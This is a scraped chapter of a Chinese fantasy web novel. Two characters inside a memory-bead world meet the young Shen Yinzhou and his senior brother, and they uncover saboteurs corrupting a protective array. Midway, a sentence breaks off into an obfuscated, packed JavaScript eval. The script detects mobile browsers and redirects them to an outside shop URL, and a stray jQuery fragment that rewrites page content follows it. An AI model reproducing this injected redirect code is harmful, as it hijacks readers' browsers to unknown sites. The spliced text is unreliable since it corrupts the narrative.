文趣网 > 其他小说 > 反派刀了他的白月光 > 23. 从前的沈吟州
    沈霁呆若木鸡看着面前二人脱下斗篷坐在正对面,他喉头滚动了一下,想开口,却发觉自己的声音卡在胸腔里怎么也挤不出来。

    沈吟州今日一身绛红束袖装,脚蹬着一双云纹玄黑鹿皮靴,那衣裳裁剪得极为合体,勾勒出他挺拔清瘦的身形,衣料上坠着无数灵石碎精,随着周身细微的动作,折射出细细闪闪的的光。

    他半身微侧,眯着桃花眼将大半张俊脸慵懒地躲在折扇下,旁若无人地打了个小小的哈欠。

    沈栩一件月牙纱罩在白衣外,飘渺出尘颇有世外仙人的气质,他斜眼轻咳一声,沈吟州摸摸鼻尖急忙坐正。

    这样闪闪发光的沈吟州那时年少恣意,整日跟在师兄身后游来窜去,尚不知愁是何滋味。

    沈霁突然有些不好意思,自己从前怎得穿的这般显眼,但似乎那时的衣物都是师兄命人制好送来,既然师兄觉得好,那想来也没有太过张扬。

    沈栩的眼光还是很不错的,他自己平日里穿得素净雅致,不似沈吟州那般招摇,却自有一股清贵之气。

    黎沅用眼睛迫切又细致地盯着沈吟州一寸一寸地描着,事到如今,他已明白这珠内世界即是过去世界。

    面前这个沈吟州分明比他熟知的公子还要年轻几分,他认识的公子从未穿过如此张扬夺目的衣服,而他也终于见到公子口中的师兄,是那样一个翩翩公子,庄重大方,他认识的沈吟州,穿衣行事几乎和这位师兄相差无几。

    他又想起斋行从前说起公子的趣事,沈吟州年少时的绰号——孔雀公子。

    孔雀公子垂眸听着师兄跟谢灵商讨,眼波流转间不经意瞥到了一个巴巴望着他的小孩儿。

    沈吟州诧异挑眉,这不是那天街上卖药囊的两个孩子,谢灵说从伏虎关跑出来的难道是这两个人。

    黎沅满眼含泪,一颗皱巴巴的心脏在胸膛急速跳动,就要破胸而出。

    他挣扎了一下扶着轮车起身,迫不及待地奔着眼前熟悉的人影而去,沈霁吃惊想要从后面抓住他,却是慢了一步。

    黎沅失魂落魄,踉跄着走到沈吟州面前,沈吟州看着这个腿脚有疾的孩子就要扑倒在地,急忙收了扇子上前扶着。

    “公子!公子!寄青峰没有了,全是火,全烧没了,我什么也没护住……”黎沅泪流满面,在他怀中哽咽着,在他开口的同时,一阵尖锐的鸣音伴随着他的话语在四周激荡而起,沈霁见状捂着耳朵蹲在轮车旁痛苦俯身,他什么也听不见,耳膜被鸣音震得快要爆掉。

    “快停下,不要再说了!”沈霁艰难喊道。

    黎沅惨白着脸,眼泪汹涌落下,他死死抓着沈吟州的胳膊,“公子,我怎么也找不到你,你的魂魄——”

    尖锐的鸣音愈发激烈,伴随巨大的轰隆声,仿佛天要裂开了,黎沅张嘴再也无法出声,周围的事物渐渐隐去,面前沈吟州那张关切的脸五官融化模糊不清。

    世界陷入一片黑暗。

    不知过了多久,沈霁睁开眼,他躺在床上闻着身旁令人安心的水生香。

    “你醒了。”沈栩拔下他手背上的针。

    沈霁扭头看向沈栩:“我这是……”

    他恍惚记得是轮车上的孩子突然起身扑倒在地,巨大的鸣音便铺天盖地将他震晕。

    “你们兄弟二人突然晕倒在地上,许是多日奔波太过疲惫,之前已经给你弟弟施过针,无大碍。”

    沈栩穿着一身月白菩提纹广袖衣,头发用珠玉冠高高束起,手腕上带了一圈寄青峰特有的白晶玉,眉心隐隐露着一枚淡金色方形回文印记。

    沈霁静静看着,这位一手将他带大的师兄就像湖中心立着的一只衔玉的鹤,永远温润娴静,永远游刃有余。

    只可惜死得惨烈。

    “你和你弟弟的事我都问过了,尸鬼之毒不难解,只是我与师弟出来匆忙,并未带能治好尸毒的药,我已修书去寄青峰,过两日使童会将药送来。”沈栩将针重新插入针袋中,仔细收好。

    “多谢峰主。”沈霁起身,脑子里尖锐的声音还有残响,他不敢对着沈栩多说什么,免得再次引起追魂珠内的异象。

    “他腿上的尸毒处理的很好,听军中医官说你懂些药理。”

    沈霁垂眸看着沈栩衣服上菩提叶的金丝纹,小声答:“是,略懂一些。”

    “我与师弟来此专为帮助玉南坪抵御尸鬼,只是时间紧迫,我二人只待一两日便得回去,我上次在街上见你卖药囊,待我家使童将药带来,可否能帮我们做些药囊分给士兵。”

    “可以。”沈霁点头。

    “既如此可真是太好了,我还正发愁人手不够,若用些不懂药理的人来做又怕出了岔子。”沈栩笑眯眯拍了拍沈霁的肩,“你且歇着吧,我去布阵了。”

    帐帘掀开,水生香的味道飘然远去。

    一滴温热的泪砸在手背上,沈霁终是没有勇气再向外看一眼。

    营地外林子边,沈吟州和谢灵正按照方位观察四周林地,寻找布阵的地方。

    他扭头回看那个拄着拐杖也硬要跟着自己的小尾巴,两手抱在胸前无奈问:“我说小孩儿,咱们俩认识吗。”

    黎沅哭肿了眼,他点点头,忽然又想起什么,又摇摇头。

    “许是我长得像你家里什么人?”沈吟州指指自己的脸。

    黎沅点点头。

    “原来如此,你叫什么名字?”

    “阿……黎……”黎沅不敢说自己就是阿元,若是空间再次出现异象,万一自己脱离了珠子就再也见不到沈吟州了。

    就算知道此时此刻是假的,是幻象,他也不想离开了。

    沈吟州用灵力将一根枯木清理干净,扶着黎沅坐下。

    “我与小谢师兄要布置抵御尸鬼的阵法,你在这好好坐着,等明日寄青峰的使童将药送来,你这腿就能治好了。”沈吟州轻抚上他腿上的伤口,掌心散出阵阵灵力,如一股小溪流进黎沅的四肢百骸,抚平尸毒带来的燥热与灼痛。

    那熟悉的灵力进入体内,黎沅心头一酸,怕自己再次失态,只能强迫自己死死忍住不要失态。

    沈霁出了营帐到处找黎沅没有找到,向王八斗打听到他拄着拐跟着谢灵进了山,心里暗自焦急,急忙进山找人去。

    到了山脚,他刚从一块巨石后拐出来就看见谢灵与沈吟州背对着研究阵法,后边还有坐在枯木上的黎沅。

    黎沅正呆呆看着沈吟州的背影,一动不动。

    沈霁躲在石后静静观察着,黎沅之前突兀的举动太可疑,见到年轻的沈吟州为何那般激动,这孩子到底开口说了什么引起追魂珠如此激烈的震动。

    许是又问了珠内的时间。

    亦或是他二人双方都有影响的话。

    可沈霁左思右想,怎么也想不起来哪个时候认识过这样一个人,琼玉楼背后的主子,大抵是跟中州皇室有关联,自己什么时候和皇室扯上了关系。

    “谁?”沈吟州耳朵一跳,察觉身后不远处有人,他甩手将扇子扔过去,扇面飞快掠过沈霁头顶又收回手中,他讶异地看过去,能躲过扇子的人也不是一般人。

    “沈公子。”沈霁装模作样从石后走出行了个礼。

    谢灵笑道:“定是来寻你弟弟的吧。”

    “是,他腿伤未愈,我背他回去早点歇着。”沈霁走到黎沅身前蹲下,黎沅不情愿地爬上他的背,沈霁顺手将拐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840802|211638||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杖拿在手中借力站起。

    “夜里若是有事可去营帐中找我。”沈吟州叮嘱道。

    “多谢。”沈霁点点头,他背起黎沅向山下走去,黎沅的目光依依不舍地黏在沈吟州身上,沈吟州笑着冲他摇摇手,直到在巨石后拐弯再也看不见。

    黎沅萎靡地趴在沈霁背上,沈霁踏着枯枝碎叶在林子里咯吱咯吱响。

    “沈峰主说寄青峰的使童会送药来,等伤好些,我们就得想办法离开这里了,”沈霁声音有些严肃,“尸鬼就要攻过来了,你我灵力低微不能在这待着。”

    寄青峰的使童。

    黎沅眼睛一亮,心里雀跃着想,这使童莫非是斋行。

    “有那么厉害的沈峰主,你怎么肯定尸鬼会攻过来。”

    沈霁沉默,他当然知道,护山阵是他和谢灵布下的,明明应该万无一失,可大阵还是破了,死伤惨重。

    师兄就是在这里受伤,导致一直无法痊愈,最终灵气凝阻被偷袭身亡。

    那时他心性单纯不谙世事,并不晓得这件事有多蹊跷。

    “也不知这珠内时间回溯会不会改变未来。”黎沅闷闷不乐。

    “不会改变的,有人用追魂珠专门复刻了某一段时间里发生的事情,将其留存在了珠内的空间里,外面如何还是如何,再怎么折腾里面的世界也改变不了外面,珠子里的外人只有我们两个,我们无法改变既定的结局,也不能干扰这里的时间,所以只要跟珠子里的人提起关于真实世界的信息,或是我们问起珠子内的真实时间,整个空间就会动荡。”

    “因为我们不属于这里。”

    “你怎的知道这么多。”黎沅眯着眼警惕问,他早就怀疑这个人有鬼。

    沈霁不语,他当然知道,如果这珠子里的事情能被改变,他现在的记忆里不会不记得白家主仆二人,很明显,这珠子里发生的一切都无法改变现世因果。

    在真实发生的过去,沈吟州从未见过这两个孩子。

    “你以前认识那个沈师弟?”沈霁突然发问。

    “不认识。”黎沅温热的鼻息喷在沈霁脖颈间,他睁着眼说瞎话的本事一向出神入化。

    入夜后,沈吟州对黎沅施了个昏睡咒自己悄悄上了山。

    他凭着记忆来到了曾经与谢灵布阵的地方。

    还未走进,就听见附近有人声,他急忙躲进一旁的枯树洞中隐蔽气息。

    “这东西真能破掉大阵?”一人问。

    “布阵的镇物被阴水侵蚀,那沈栩就是有天大的本事也不会察觉,至于他那师弟更是个蠢货。”一人答。

    沈霁倒吸一口气,阴水,那是什么东西。

    “好了,六方镇物,破了两方,还有四方,趁天没亮赶紧去弄。”

    “是。”

    待二人走远,沈霁小心翼翼压着脚步慢慢挪到放置镇物的地方。

    他伸手掐诀,在空中画了几下,一道灵符悬在空中,发着微弱的荧光。

    “解。”

    沈霁剑指向下,灵符打进地中,地面上渐渐显现出一把刻满咒文的银杵,这是白日沈吟州与谢灵共同放下的镇物。

    此刻这把咒杵上浸满了黑色粘稠液体,那东西散发出恶臭,似活物一般蠕动着,从内部侵蚀着咒杵的灵力,但是又没有破坏咒杵散发结界的功能,只是让本该牢不可摧的大阵只剩一个罩子,防御功能几乎为零。

    这一团不停蠕动的东西想必就是方才那人口中所说的阴水。

    天灵仿佛一下被打通,沈霁猛然惊出一身冷汗,百年前寄青峰那场大难,护山阵恐怕也是这样被破开的。

    如此阴毒的东西,究竟是什么时候放进去的。